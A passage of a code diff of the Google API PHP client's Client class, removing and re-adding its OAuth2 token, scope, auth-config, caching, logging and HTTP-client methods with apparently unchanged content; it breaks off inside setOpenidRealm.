to request a new token - if (isset($token['refresh_token']) && $this->isAccessTokenExpired()) { - $credentials = $this->createUserRefreshCredentials( - $scopes, - $token['refresh_token'] - ); - $http = $authHandler->attachCredentials( - $http, - $credentials, - $this->config['token_callback'] - ); - } else { - $http = $authHandler->attachToken($http, $token, (array) $scopes); - } - } elseif ($key = $this->config['developer_key']) { - $http = $authHandler->attachKey($http, $key); - } - - return $http; - } - - /** - * Set the configuration to use application default credentials for - * authentication - * - * @see https://developers.google.com/identity/protocols/application-default-credentials - * @param boolean $useAppCreds - */ - public function useApplicationDefaultCredentials($useAppCreds = true) - { - $this->config['use_application_default_credentials'] = $useAppCreds; - } - - /** - * To prevent useApplicationDefaultCredentials from inappropriately being - * called in a conditional - * - * @see https://developers.google.com/identity/protocols/application-default-credentials - */ - public function isUsingApplicationDefaultCredentials() - { - return $this->config['use_application_default_credentials']; - } - - /** - * Set the access token used for requests. - * - * Note that at the time requests are sent, tokens are cached. A token will be - * cached for each combination of service and authentication scopes. If a - * cache pool is not provided, creating a new instance of the client will - * allow modification of access tokens. If a persistent cache pool is - * provided, in order to change the access token, you must clear the cached - * token by calling `$client->getCache()->clear()`. (Use caution in this case, - * as calling `clear()` will remove all cache items, including any items not - * related to Google API PHP Client.) - * - * @param string|array $token - * @throws InvalidArgumentException - */ - public function setAccessToken($token) - { - if (is_string($token)) { - if ($json = json_decode($token, true)) { - $token = $json; - } else { - // assume $token is just the token string - $token = array( - 'access_token' => $token, - ); - } - } - if ($token == null) { - throw new InvalidArgumentException('invalid json token'); - } - if (!isset($token['access_token'])) { - throw new InvalidArgumentException("Invalid token format"); - } - $this->token = $token; - } - - public function getAccessToken() - { - return $this->token; - } - - /** - * @return string|null - */ - public function getRefreshToken() - { - if (isset($this->token['refresh_token'])) { - return $this->token['refresh_token']; - } - - return null; - } - - /** - * Returns if the access_token is expired. - * @return bool Returns True if the access_token is expired. - */ - public function isAccessTokenExpired() - { - if (!$this->token) { - return true; - } - - $created = 0; - if (isset($this->token['created'])) { - $created = $this->token['created']; - } elseif (isset($this->token['id_token'])) { - // check the ID token for "iat" - // signature verification is not required here, as we are just - // using this for convenience to save a round trip request - // to the Google API server - $idToken = $this->token['id_token']; - if (substr_count($idToken, '.') == 2) { - $parts = explode('.', $idToken); - $payload = json_decode(base64_decode($parts[1]), true); - if ($payload && isset($payload['iat'])) { - $created = $payload['iat']; - } - } - } - - // If the token is set to expire in the next 30 seconds. - return ($created + ($this->token['expires_in'] - 30)) < time(); - } - - /** - * @deprecated See UPGRADING.md for more information - */ - public function getAuth() - { - throw new BadMethodCallException( - 'This function no longer exists. See UPGRADING.md for more information' - ); - } - - /** - * @deprecated See UPGRADING.md for more information - */ - public function setAuth($auth) - { - throw new BadMethodCallException( - 'This function no longer exists. See UPGRADING.md for more information' - ); - } - - /** - * Set the OAuth 2.0 Client ID. - * @param string $clientId - */ - public function setClientId($clientId) - { - $this->config['client_id'] = $clientId; - } - - public function getClientId() - { - return $this->config['client_id']; - } - - /** - * Set the OAuth 2.0 Client Secret. - * @param string $clientSecret - */ - public function setClientSecret($clientSecret) - { - $this->config['client_secret'] = $clientSecret; - } - - public function getClientSecret() - { - return $this->config['client_secret']; - } - - /** - * Set the OAuth 2.0 Redirect URI. - * @param string $redirectUri - */ - public function setRedirectUri($redirectUri) - { - $this->config['redirect_uri'] = $redirectUri; - } - - public function getRedirectUri() - { - return $this->config['redirect_uri']; - } - - /** - * Set OAuth 2.0 "state" parameter to achieve per-request customization. - * @see http://tools.ietf.org/html/draft-ietf-oauth-v2-22#section-3.1.2.2 - * @param string $state - */ - public function setState($state) - { - $this->config['state'] = $state; - } - - /** - * @param string $accessType Possible values for access_type include: - * {@code "offline"} to request offline access from the user. - * {@code "online"} to request online access from the user. - */ - public function setAccessType($accessType) - { - $this->config['access_type'] = $accessType; - } - - /** - * @param string $approvalPrompt Possible values for approval_prompt include: - * {@code "force"} to force the approval UI to appear. - * {@code "auto"} to request auto-approval when possible. (This is the default value) - */ - public function setApprovalPrompt($approvalPrompt) - { - $this->config['approval_prompt'] = $approvalPrompt; - } - - /** - * Set the login hint, email address or sub id. - * @param string $loginHint - */ - public function setLoginHint($loginHint) - { - $this->config['login_hint'] = $loginHint; - } - - /** - * Set the application name, this is included in the User-Agent HTTP header. - * @param string $applicationName - */ - public function setApplicationName($applicationName) - { - $this->config['application_name'] = $applicationName; - } - - /** - * If 'plus.login' is included in the list of requested scopes, you can use - * this method to define types of app activities that your app will write. - * You can find a list of available types here: - * @link https://developers.google.com/+/api/moment-types - * - * @param array $requestVisibleActions Array of app activity types - */ - public function setRequestVisibleActions($requestVisibleActions) - { - if (is_array($requestVisibleActions)) { - $requestVisibleActions = implode(" ", $requestVisibleActions); - } - $this->config['request_visible_actions'] = $requestVisibleActions; - } - - /** - * Set the developer key to use, these are obtained through the API Console. - * @see http://code.google.com/apis/console-help/#generatingdevkeys - * @param string $developerKey - */ - public function setDeveloperKey($developerKey) - { - $this->config['developer_key'] = $developerKey; - } - - /** - * Set the hd (hosted domain) parameter streamlines the login process for - * Google Apps hosted accounts. By including the domain of the user, you - * restrict sign-in to accounts at that domain. - * @param $hd string - the domain to use. - */ - public function setHostedDomain($hd) - { - $this->config['hd'] = $hd; - } - - /** - * Set the prompt hint. Valid values are none, consent and select_account. - * If no value is specified and the user has not previously authorized - * access, then the user is shown a consent screen. - * @param $prompt string - * {@code "none"} Do not display any authentication or consent screens. Must not be specified with other values. - * {@code "consent"} Prompt the user for consent. - * {@code "select_account"} Prompt the user to select an account. - */ - public function setPrompt($prompt) - { - $this->config['prompt'] = $prompt; - } - - /** - * openid.realm is a parameter from the OpenID 2.0 protocol, not from OAuth - * 2.0. It is used in OpenID 2.0 requests to signify the URL-space for which - * an authentication request is valid. - * @param $realm string - the URL-space to use. - */ - public function setOpenidRealm($realm) - { - $this->config['openid.realm'] = $realm; - } - - /** - * If this is provided with the value true, and the authorization request is - * granted, the authorization will include any previous authorizations - * granted to this user/application combination for other scopes. - * @param $include boolean - the URL-space to use. - */ - public function setIncludeGrantedScopes($include) - { - $this->config['include_granted_scopes'] = $include; - } - - /** - * sets function to be called when an access token is fetched - * @param callable $tokenCallback - function ($cacheKey, $accessToken) - */ - public function setTokenCallback(callable $tokenCallback) - { - $this->config['token_callback'] = $tokenCallback; - } - - /** - * Revoke an OAuth2 access token or refresh token. This method will revoke the current access - * token, if a token isn't provided. - * - * @param string|array|null $token The token (access token or a refresh token) that should be revoked. - * @return boolean Returns True if the revocation was successful, otherwise False. - */ - public function revokeToken($token = null) - { - $tokenRevoker = new Revoke($this->getHttpClient()); - - return $tokenRevoker->revokeToken($token ?: $this->getAccessToken()); - } - - /** - * Verify an id_token. This method will verify the current id_token, if one - * isn't provided. - * - * @throws LogicException If no token was provided and no token was set using `setAccessToken`. - * @throws UnexpectedValueException If the token is not a valid JWT. - * @param string|null $idToken The token (id_token) that should be verified. - * @return array|false Returns the token payload as an array if the verification was - * successful, false otherwise. - */ - public function verifyIdToken($idToken = null) - { - $tokenVerifier = new Verify( - $this->getHttpClient(), - $this->getCache(), - $this->config['jwt'] - ); - - if (null === $idToken) { - $token = $this->getAccessToken(); - if (!isset($token['id_token'])) { - throw new LogicException( - 'id_token must be passed in or set as part of setAccessToken' - ); - } - $idToken = $token['id_token']; - } - - return $tokenVerifier->verifyIdToken( - $idToken, - $this->getClientId() - ); - } - - /** - * Set the scopes to be requested. Must be called before createAuthUrl(). - * Will remove any previously configured scopes. - * @param string|array $scope_or_scopes, ie: - * array( - * 'https://www.googleapis.com/auth/plus.login', - * 'https://www.googleapis.com/auth/moderator' - * ); - */ - public function setScopes($scope_or_scopes) - { - $this->requestedScopes = array(); - $this->addScope($scope_or_scopes); - } - - /** - * This functions adds a scope to be requested as part of the OAuth2.0 flow. - * Will append any scopes not previously requested to the scope parameter. - * A single string will be treated as a scope to request. An array of strings - * will each be appended. - * @param $scope_or_scopes string|array e.g. "profile" - */ - public function addScope($scope_or_scopes) - { - if (is_string($scope_or_scopes) && !in_array($scope_or_scopes, $this->requestedScopes)) { - $this->requestedScopes[] = $scope_or_scopes; - } else if (is_array($scope_or_scopes)) { - foreach ($scope_or_scopes as $scope) { - $this->addScope($scope); - } - } - } - - /** - * Returns the list of scopes requested by the client - * @return array the list of scopes - * - */ - public function getScopes() - { - return $this->requestedScopes; - } - - /** - * @return string|null - * @visible For Testing - */ - public function prepareScopes() - { - if (empty($this->requestedScopes)) { - return null; - } - - return implode(' ', $this->requestedScopes); - } - - /** - * Helper method to execute deferred HTTP requests. - * - * @param $request RequestInterface|\Google\Http\Batch - * @param string $expectedClass - * @throws \Google\Exception - * @return mixed|$expectedClass|ResponseInterface - */ - public function execute(RequestInterface $request, $expectedClass = null) - { - $request = $request - ->withHeader( - 'User-Agent', - sprintf( - '%s %s%s', - $this->config['application_name'], - self::USER_AGENT_SUFFIX, - $this->getLibraryVersion() - ) - ) - ->withHeader( - 'x-goog-api-client', - sprintf( - 'gl-php/%s gdcl/%s', - phpversion(), - $this->getLibraryVersion() - ) - ); - - if ($this->config['api_format_v2']) { - $request = $request->withHeader( - 'X-GOOG-API-FORMAT-VERSION', - 2 - ); - } - - // call the authorize method - // this is where most of the grunt work is done - $http = $this->authorize(); - - return REST::execute( - $http, - $request, - $expectedClass, - $this->config['retry'], - $this->config['retry_map'] - ); - } - - /** - * Declare whether batch calls should be used. This may increase throughput - * by making multiple requests in one connection. - * - * @param boolean $useBatch True if the batch support should - * be enabled. Defaults to False. - */ - public function setUseBatch($useBatch) - { - // This is actually an alias for setDefer. - $this->setDefer($useBatch); - } - - /** - * Are we running in Google AppEngine? - * return bool - */ - public function isAppEngine() - { - return (isset($_SERVER['SERVER_SOFTWARE']) && - strpos($_SERVER['SERVER_SOFTWARE'], 'Google App Engine') !== false); - } - - public function setConfig($name, $value) - { - $this->config[$name] = $value; - } - - public function getConfig($name, $default = null) - { - return isset($this->config[$name]) ? $this->config[$name] : $default; - } - - /** - * For backwards compatibility - * alias for setAuthConfig - * - * @param string $file the configuration file - * @throws \Google\Exception - * @deprecated - */ - public function setAuthConfigFile($file) - { - $this->setAuthConfig($file); - } - - /** - * Set the auth config from new or deprecated JSON config. - * This structure should match the file downloaded from - * the "Download JSON" button on in the Google Developer - * Console. - * @param string|array $config the configuration json - * @throws \Google\Exception - */ - public function setAuthConfig($config) - { - if (is_string($config)) { - if (!file_exists($config)) { - throw new InvalidArgumentException(sprintf('file "%s" does not exist', $config)); - } - - $json = file_get_contents($config); - - if (!$config = json_decode($json, true)) { - throw new LogicException('invalid json for auth config'); - } - } - - $key = isset($config['installed']) ? 'installed' : 'web'; - if (isset($config['type']) && $config['type'] == 'service_account') { - // application default credentials - $this->useApplicationDefaultCredentials(); - - // set the information from the config - $this->setClientId($config['client_id']); - $this->config['client_email'] = $config['client_email']; - $this->config['signing_key'] = $config['private_key']; - $this->config['signing_algorithm'] = 'HS256'; - } elseif (isset($config[$key])) { - // old-style - $this->setClientId($config[$key]['client_id']); - $this->setClientSecret($config[$key]['client_secret']); - if (isset($config[$key]['redirect_uris'])) { - $this->setRedirectUri($config[$key]['redirect_uris'][0]); - } - } else { - // new-style - $this->setClientId($config['client_id']); - $this->setClientSecret($config['client_secret']); - if (isset($config['redirect_uris'])) { - $this->setRedirectUri($config['redirect_uris'][0]); - } - } - } - - /** - * Use when the service account has been delegated domain wide access. - * - * @param string $subject an email address account to impersonate - */ - public function setSubject($subject) - { - $this->config['subject'] = $subject; - } - - /** - * Declare whether making API calls should make the call immediately, or - * return a request which can be called with ->execute(); - * - * @param boolean $defer True if calls should not be executed right away. - */ - public function setDefer($defer) - { - $this->deferExecution = $defer; - } - - /** - * Whether or not to return raw requests - * @return boolean - */ - public function shouldDefer() - { - return $this->deferExecution; - } - - /** - * @return OAuth2 implementation - */ - public function getOAuth2Service() - { - if (!isset($this->auth)) { - $this->auth = $this->createOAuth2Service(); - } - - return $this->auth; - } - - /** - * create a default google auth object - */ - protected function createOAuth2Service() - { - $auth = new OAuth2( - [ - 'clientId' => $this->getClientId(), - 'clientSecret' => $this->getClientSecret(), - 'authorizationUri' => self::OAUTH2_AUTH_URL, - 'tokenCredentialUri' => self::OAUTH2_TOKEN_URI, - 'redirectUri' => $this->getRedirectUri(), - 'issuer' => $this->config['client_id'], - 'signingKey' => $this->config['signing_key'], - 'signingAlgorithm' => $this->config['signing_algorithm'], - ] - ); - - return $auth; - } - - /** - * Set the Cache object - * @param CacheItemPoolInterface $cache - */ - public function setCache(CacheItemPoolInterface $cache) - { - $this->cache = $cache; - } - - /** - * @return CacheItemPoolInterface - */ - public function getCache() - { - if (!$this->cache) { - $this->cache = $this->createDefaultCache(); - } - - return $this->cache; - } - - /** - * @param array $cacheConfig - */ - public function setCacheConfig(array $cacheConfig) - { - $this->config['cache_config'] = $cacheConfig; - } - - /** - * Set the Logger object - * @param LoggerInterface $logger - */ - public function setLogger(LoggerInterface $logger) - { - $this->logger = $logger; - } - - /** - * @return LoggerInterface - */ - public function getLogger() - { - if (!isset($this->logger)) { - $this->logger = $this->createDefaultLogger(); - } - - return $this->logger; - } - - protected function createDefaultLogger() - { - $logger = new Logger('google-api-php-client'); - if ($this->isAppEngine()) { - $handler = new MonologSyslogHandler('app', LOG_USER, Logger::NOTICE); - } else { - $handler = new MonologStreamHandler('php://stderr', Logger::NOTICE); - } - $logger->pushHandler($handler); - - return $logger; - } - - protected function createDefaultCache() - { - return new MemoryCacheItemPool; - } - - /** - * Set the Http Client object - * @param ClientInterface $http - */ - public function setHttpClient(ClientInterface $http) - { - $this->http = $http; - } - - /** - * @return ClientInterface - */ - public function getHttpClient() - { - if (null === $this->http) { - $this->http = $this->createDefaultHttpClient(); - } - - return $this->http; - } - - /** - * Set the API format version. - * - * `true` will use V2, which may return more useful error messages. - * - * @param bool $value - */ - public function setApiFormatV2($value) - { - $this->config['api_format_v2'] = (bool) $value; - } - - protected function createDefaultHttpClient() - { - $guzzleVersion = null; - if (defined('\GuzzleHttp\ClientInterface::MAJOR_VERSION')) { - $guzzleVersion = ClientInterface::MAJOR_VERSION; - } elseif (defined('\GuzzleHttp\ClientInterface::VERSION')) { - $guzzleVersion = (int)substr(ClientInterface::VERSION, 0, 1); - } - - if (5 === $guzzleVersion) { - $options = [ - 'base_url' => $this->config['base_path'], - 'defaults' => ['exceptions' => false], - ]; - if ($this->isAppEngine()) { - // set StreamHandler on AppEngine by default - $options['handler'] = new StreamHandler(); - $options['defaults']['verify'] = '/etc/ca-certificates.crt'; - } - } elseif (6 === $guzzleVersion || 7 === $guzzleVersion) { - // guzzle 6 or 7 - $options = [ - 'base_uri' => $this->config['base_path'], - 'http_errors' => false, - ]; - } else { - throw new LogicException('Could not find supported version of Guzzle.'); - } - - return new GuzzleClient($options); - } - - /** - * @return FetchAuthTokenCache - */ - private function createApplicationDefaultCredentials() - { - $scopes = $this->prepareScopes(); - $sub = $this->config['subject']; - $signingKey = $this->config['signing_key']; - - // create credentials using values supplied in setAuthConfig - if ($signingKey) { - $serviceAccountCredentials = array( - 'client_id' => $this->config['client_id'], - 'client_email' => $this->config['client_email'], - 'private_key' => $signingKey, - 'type' => 'service_account', - 'quota_project_id' => $this->config['quota_project'], - ); - $credentials = CredentialsLoader::makeCredentials( - $scopes, - $serviceAccountCredentials - ); - } else { - // When $sub is provided, we cannot pass cache classes to ::getCredentials - // because FetchAuthTokenCache::setSub does not exist. - // The result is when $sub is provided, calls to ::onGce are not cached. - $credentials = ApplicationDefaultCredentials::getCredentials( - $scopes, - null, - $sub ? null : $this->config['cache_config'], - $sub ? null : $this->getCache(), - $this->config['quota_project'] - ); - } - - // for service account domain-wide authority (impersonating a user) - // @see https://developers.google.com/identity/protocols/OAuth2ServiceAccount - if ($sub) { - if (!$credentials instanceof ServiceAccountCredentials) { - throw new DomainException('domain-wide authority requires service account credentials'); - } - - $credentials->setSub($sub); - } - - // If we are not using FetchAuthTokenCache yet, create it now - if (!$credentials instanceof FetchAuthTokenCache) { - $credentials = new FetchAuthTokenCache( - $credentials, - $this->config['cache_config'], - $this->getCache() - ); - } - return $credentials; - } - - protected function getAuthHandler() - { - // Be very careful using the cache, as the underlying auth library's cache - // implementation is naive, and the cache keys do not account for user - // sessions. - // - // @see https://github.com/google/google-api-php-client/issues/821 - return AuthHandlerFactory::build( - $this->getCache(), - $this->config['cache_config'] - ); - } - - private function createUserRefreshCredentials($scope, $refreshToken) - { - $creds = array_filter( - array( - 'client_id' => $this->getClientId(), - 'client_secret' => $this->getClientSecret(), - 'refresh_token' => $refreshToken, - ) - ); - - return new UserRefreshCredentials($scope, $creds); - } -} +config = array_merge( + [ + 'application_name' => '', + + // Don't change these unless you're working against a special development + // or testing environment. + 'base_path' => self::API_BASE_PATH, + + // https://developers.google.com/console + 'client_id' => '', + 'client_secret' => '', + + // Path to JSON credentials or an array representing those credentials + // @see Google\Client::setAuthConfig + 'credentials' => null, + // @see Google\Client::setScopes + 'scopes' => null, + // Sets X-Goog-User-Project, which specifies a user project to bill + // for access charges associated with the request + 'quota_project' => null, + + 'redirect_uri' => null, + 'state' => null, + + // Simple API access key, also from the API console. Ensure you get + // a Server key, and not a Browser key. + 'developer_key' => '', + + // For use with Google Cloud Platform + // fetch the ApplicationDefaultCredentials, if applicable + // @see https://developers.google.com/identity/protocols/application-default-credentials + 'use_application_default_credentials' => false, + 'signing_key' => null, + 'signing_algorithm' => null, + 'subject' => null, + + // Other OAuth2 parameters. + 'hd' => '', + 'prompt' => '', + 'openid.realm' => '', + 'include_granted_scopes' => null, + 'login_hint' => '', + 'request_visible_actions' => '', + 'access_type' => 'online', + 'approval_prompt' => 'auto', + + // Task Runner retry configuration + // @see Google\Task\Runner + 'retry' => array(), + 'retry_map' => null, + + // Cache class implementing Psr\Cache\CacheItemPoolInterface. + // Defaults to Google\Auth\Cache\MemoryCacheItemPool. + 'cache' => null, + // cache config for downstream auth caching + 'cache_config' => [], + + // function to be called when an access token is fetched + // follows the signature function ($cacheKey, $accessToken) + 'token_callback' => null, + + // Service class used in Google\Client::verifyIdToken. + // Explicitly pass this in to avoid setting JWT::$leeway + 'jwt' => null, + + // Setting api_format_v2 will return more detailed error messages + // from certain APIs. + 'api_format_v2' => false + ], + $config + ); + + if (!is_null($this->config['credentials'])) { + $this->setAuthConfig($this->config['credentials']); + unset($this->config['credentials']); + } + + if (!is_null($this->config['scopes'])) { + $this->setScopes($this->config['scopes']); + unset($this->config['scopes']); + } + + // Set a default token callback to update the in-memory access token + if (is_null($this->config['token_callback'])) { + $this->config['token_callback'] = function ($cacheKey, $newAccessToken) { + $this->setAccessToken( + [ + 'access_token' => $newAccessToken, + 'expires_in' => 3600, // Google default + 'created' => time(), + ] + ); + }; + } + + if (!is_null($this->config['cache'])) { + $this->setCache($this->config['cache']); + unset($this->config['cache']); + } + } + + /** + * Get a string containing the version of the library. + * + * @return string + */ + public function getLibraryVersion() + { + return self::LIBVER; + } + + /** + * For backwards compatibility + * alias for fetchAccessTokenWithAuthCode + * + * @param $code string code from accounts.google.com + * @return array access token + * @deprecated + */ + public function authenticate($code) + { + return $this->fetchAccessTokenWithAuthCode($code); + } + + /** + * Attempt to exchange a code for an valid authentication token. + * Helper wrapped around the OAuth 2.0 implementation. + * + * @param $code string code from accounts.google.com + * @return array access token + */ + public function fetchAccessTokenWithAuthCode($code) + { + if (strlen($code) == 0) { + throw new InvalidArgumentException("Invalid code"); + } + + $auth = $this->getOAuth2Service(); + $auth->setCode($code); + $auth->setRedirectUri($this->getRedirectUri()); + + $httpHandler = HttpHandlerFactory::build($this->getHttpClient()); + $creds = $auth->fetchAuthToken($httpHandler); + if ($creds && isset($creds['access_token'])) { + $creds['created'] = time(); + $this->setAccessToken($creds); + } + + return $creds; + } + + /** + * For backwards compatibility + * alias for fetchAccessTokenWithAssertion + * + * @return array access token + * @deprecated + */ + public function refreshTokenWithAssertion() + { + return $this->fetchAccessTokenWithAssertion(); + } + + /** + * Fetches a fresh access token with a given assertion token. + * @param ClientInterface $authHttp optional. + * @return array access token + */ + public function fetchAccessTokenWithAssertion(ClientInterface $authHttp = null) + { + if (!$this->isUsingApplicationDefaultCredentials()) { + throw new DomainException( + 'set the JSON service account credentials using' + . ' Google\Client::setAuthConfig or set the path to your JSON file' + . ' with the "GOOGLE_APPLICATION_CREDENTIALS" environment variable' + . ' and call Google\Client::useApplicationDefaultCredentials to' + . ' refresh a token with assertion.' + ); + } + + $this->getLogger()->log( + 'info', + 'OAuth2 access token refresh with Signed JWT assertion grants.' + ); + + $credentials = $this->createApplicationDefaultCredentials(); + + $httpHandler = HttpHandlerFactory::build($authHttp); + $creds = $credentials->fetchAuthToken($httpHandler); + if ($creds && isset($creds['access_token'])) { + $creds['created'] = time(); + $this->setAccessToken($creds); + } + + return $creds; + } + + /** + * For backwards compatibility + * alias for fetchAccessTokenWithRefreshToken + * + * @param string $refreshToken + * @return array access token + */ + public function refreshToken($refreshToken) + { + return $this->fetchAccessTokenWithRefreshToken($refreshToken); + } + + /** + * Fetches a fresh OAuth 2.0 access token with the given refresh token. + * @param string $refreshToken + * @return array access token + */ + public function fetchAccessTokenWithRefreshToken($refreshToken = null) + { + if (null === $refreshToken) { + if (!isset($this->token['refresh_token'])) { + throw new LogicException( + 'refresh token must be passed in or set as part of setAccessToken' + ); + } + $refreshToken = $this->token['refresh_token']; + } + $this->getLogger()->info('OAuth2 access token refresh'); + $auth = $this->getOAuth2Service(); + $auth->setRefreshToken($refreshToken); + + $httpHandler = HttpHandlerFactory::build($this->getHttpClient()); + $creds = $auth->fetchAuthToken($httpHandler); + if ($creds && isset($creds['access_token'])) { + $creds['created'] = time(); + if (!isset($creds['refresh_token'])) { + $creds['refresh_token'] = $refreshToken; + } + $this->setAccessToken($creds); + } + + return $creds; + } + + /** + * Create a URL to obtain user authorization. + * The authorization endpoint allows the user to first + * authenticate, and then grant/deny the access request. + * @param string|array $scope The scope is expressed as an array or list of space-delimited strings. + * @return string + */ + public function createAuthUrl($scope = null) + { + if (empty($scope)) { + $scope = $this->prepareScopes(); + } + if (is_array($scope)) { + $scope = implode(' ', $scope); + } + + // only accept one of prompt or approval_prompt + $approvalPrompt = $this->config['prompt'] + ? null + : $this->config['approval_prompt']; + + // include_granted_scopes should be string "true", string "false", or null + $includeGrantedScopes = $this->config['include_granted_scopes'] === null + ? null + : var_export($this->config['include_granted_scopes'], true); + + $params = array_filter( + [ + 'access_type' => $this->config['access_type'], + 'approval_prompt' => $approvalPrompt, + 'hd' => $this->config['hd'], + 'include_granted_scopes' => $includeGrantedScopes, + 'login_hint' => $this->config['login_hint'], + 'openid.realm' => $this->config['openid.realm'], + 'prompt' => $this->config['prompt'], + 'response_type' => 'code', + 'scope' => $scope, + 'state' => $this->config['state'], + ] + ); + + // If the list of scopes contains plus.login, add request_visible_actions + // to auth URL. + $rva = $this->config['request_visible_actions']; + if (strlen($rva) > 0 && false !== strpos($scope, 'plus.login')) { + $params['request_visible_actions'] = $rva; + } + + $auth = $this->getOAuth2Service(); + + return (string) $auth->buildFullAuthorizationUri($params); + } + + /** + * Adds auth listeners to the HTTP client based on the credentials + * set in the Google API Client object + * + * @param ClientInterface $http the http client object. + * @return ClientInterface the http client object + */ + public function authorize(ClientInterface $http = null) + { + $credentials = null; + $token = null; + $scopes = null; + $http = $http ?: $this->getHttpClient(); + $authHandler = $this->getAuthHandler(); + + // These conditionals represent the decision tree for authentication + // 1. Check for Application Default Credentials + // 2. Check for API Key + // 3a. Check for an Access Token + // 3b. If access token exists but is expired, try to refresh it + if ($this->isUsingApplicationDefaultCredentials()) { + $credentials = $this->createApplicationDefaultCredentials(); + $http = $authHandler->attachCredentialsCache( + $http, + $credentials, + $this->config['token_callback'] + ); + } elseif ($token = $this->getAccessToken()) { + $scopes = $this->prepareScopes(); + // add refresh subscriber to request a new token + if (isset($token['refresh_token']) && $this->isAccessTokenExpired()) { + $credentials = $this->createUserRefreshCredentials( + $scopes, + $token['refresh_token'] + ); + $http = $authHandler->attachCredentials( + $http, + $credentials, + $this->config['token_callback'] + ); + } else { + $http = $authHandler->attachToken($http, $token, (array) $scopes); + } + } elseif ($key = $this->config['developer_key']) { + $http = $authHandler->attachKey($http, $key); + } + + return $http; + } + + /** + * Set the configuration to use application default credentials for + * authentication + * + * @see https://developers.google.com/identity/protocols/application-default-credentials + * @param boolean $useAppCreds + */ + public function useApplicationDefaultCredentials($useAppCreds = true) + { + $this->config['use_application_default_credentials'] = $useAppCreds; + } + + /** + * To prevent useApplicationDefaultCredentials from inappropriately being + * called in a conditional + * + * @see https://developers.google.com/identity/protocols/application-default-credentials + */ + public function isUsingApplicationDefaultCredentials() + { + return $this->config['use_application_default_credentials']; + } + + /** + * Set the access token used for requests. + * + * Note that at the time requests are sent, tokens are cached. A token will be + * cached for each combination of service and authentication scopes. If a + * cache pool is not provided, creating a new instance of the client will + * allow modification of access tokens. If a persistent cache pool is + * provided, in order to change the access token, you must clear the cached + * token by calling `$client->getCache()->clear()`. (Use caution in this case, + * as calling `clear()` will remove all cache items, including any items not + * related to Google API PHP Client.) + * + * @param string|array $token + * @throws InvalidArgumentException + */ + public function setAccessToken($token) + { + if (is_string($token)) { + if ($json = json_decode($token, true)) { + $token = $json; + } else { + // assume $token is just the token string + $token = array( + 'access_token' => $token, + ); + } + } + if ($token == null) { + throw new InvalidArgumentException('invalid json token'); + } + if (!isset($token['access_token'])) { + throw new InvalidArgumentException("Invalid token format"); + } + $this->token = $token; + } + + public function getAccessToken() + { + return $this->token; + } + + /** + * @return string|null + */ + public function getRefreshToken() + { + if (isset($this->token['refresh_token'])) { + return $this->token['refresh_token']; + } + + return null; + } + + /** + * Returns if the access_token is expired. + * @return bool Returns True if the access_token is expired. + */ + public function isAccessTokenExpired() + { + if (!$this->token) { + return true; + } + + $created = 0; + if (isset($this->token['created'])) { + $created = $this->token['created']; + } elseif (isset($this->token['id_token'])) { + // check the ID token for "iat" + // signature verification is not required here, as we are just + // using this for convenience to save a round trip request + // to the Google API server + $idToken = $this->token['id_token']; + if (substr_count($idToken, '.') == 2) { + $parts = explode('.', $idToken); + $payload = json_decode(base64_decode($parts[1]), true); + if ($payload && isset($payload['iat'])) { + $created = $payload['iat']; + } + } + } + + // If the token is set to expire in the next 30 seconds. + return ($created + ($this->token['expires_in'] - 30)) < time(); + } + + /** + * @deprecated See UPGRADING.md for more information + */ + public function getAuth() + { + throw new BadMethodCallException( + 'This function no longer exists. See UPGRADING.md for more information' + ); + } + + /** + * @deprecated See UPGRADING.md for more information + */ + public function setAuth($auth) + { + throw new BadMethodCallException( + 'This function no longer exists. See UPGRADING.md for more information' + ); + } + + /** + * Set the OAuth 2.0 Client ID. + * @param string $clientId + */ + public function setClientId($clientId) + { + $this->config['client_id'] = $clientId; + } + + public function getClientId() + { + return $this->config['client_id']; + } + + /** + * Set the OAuth 2.0 Client Secret. + * @param string $clientSecret + */ + public function setClientSecret($clientSecret) + { + $this->config['client_secret'] = $clientSecret; + } + + public function getClientSecret() + { + return $this->config['client_secret']; + } + + /** + * Set the OAuth 2.0 Redirect URI. + * @param string $redirectUri + */ + public function setRedirectUri($redirectUri) + { + $this->config['redirect_uri'] = $redirectUri; + } + + public function getRedirectUri() + { + return $this->config['redirect_uri']; + } + + /** + * Set OAuth 2.0 "state" parameter to achieve per-request customization. + * @see http://tools.ietf.org/html/draft-ietf-oauth-v2-22#section-3.1.2.2 + * @param string $state + */ + public function setState($state) + { + $this->config['state'] = $state; + } + + /** + * @param string $accessType Possible values for access_type include: + * {@code "offline"} to request offline access from the user. + * {@code "online"} to request online access from the user. + */ + public function setAccessType($accessType) + { + $this->config['access_type'] = $accessType; + } + + /** + * @param string $approvalPrompt Possible values for approval_prompt include: + * {@code "force"} to force the approval UI to appear. + * {@code "auto"} to request auto-approval when possible. (This is the default value) + */ + public function setApprovalPrompt($approvalPrompt) + { + $this->config['approval_prompt'] = $approvalPrompt; + } + + /** + * Set the login hint, email address or sub id. + * @param string $loginHint + */ + public function setLoginHint($loginHint) + { + $this->config['login_hint'] = $loginHint; + } + + /** + * Set the application name, this is included in the User-Agent HTTP header. + * @param string $applicationName + */ + public function setApplicationName($applicationName) + { + $this->config['application_name'] = $applicationName; + } + + /** + * If 'plus.login' is included in the list of requested scopes, you can use + * this method to define types of app activities that your app will write. + * You can find a list of available types here: + * @link https://developers.google.com/+/api/moment-types + * + * @param array $requestVisibleActions Array of app activity types + */ + public function setRequestVisibleActions($requestVisibleActions) + { + if (is_array($requestVisibleActions)) { + $requestVisibleActions = implode(" ", $requestVisibleActions); + } + $this->config['request_visible_actions'] = $requestVisibleActions; + } + + /** + * Set the developer key to use, these are obtained through the API Console. + * @see http://code.google.com/apis/console-help/#generatingdevkeys + * @param string $developerKey + */ + public function setDeveloperKey($developerKey) + { + $this->config['developer_key'] = $developerKey; + } + + /** + * Set the hd (hosted domain) parameter streamlines the login process for + * Google Apps hosted accounts. By including the domain of the user, you + * restrict sign-in to accounts at that domain. + * @param $hd string - the domain to use. + */ + public function setHostedDomain($hd) + { + $this->config['hd'] = $hd; + } + + /** + * Set the prompt hint. Valid values are none, consent and select_account. + * If no value is specified and the user has not previously authorized + * access, then the user is shown a consent screen. + * @param $prompt string + * {@code "none"} Do not display any authentication or consent screens. Must not be specified with other values. + * {@code "consent"} Prompt the user for consent. + * {@code "select_account"} Prompt the user to select an account. + */ + public function setPrompt($prompt) + { + $this->config['prompt'] = $prompt; + } + + /** + * openid.realm is a parameter from the OpenID 2.0 protocol, not from OAuth + * 2.0. It is used in OpenID 2.0 requests to signify the URL-space for which + * an authentication request is valid. + * @param $realm string - the URL-space to use. + */ + public function setOpenidRealm($realm) + { + 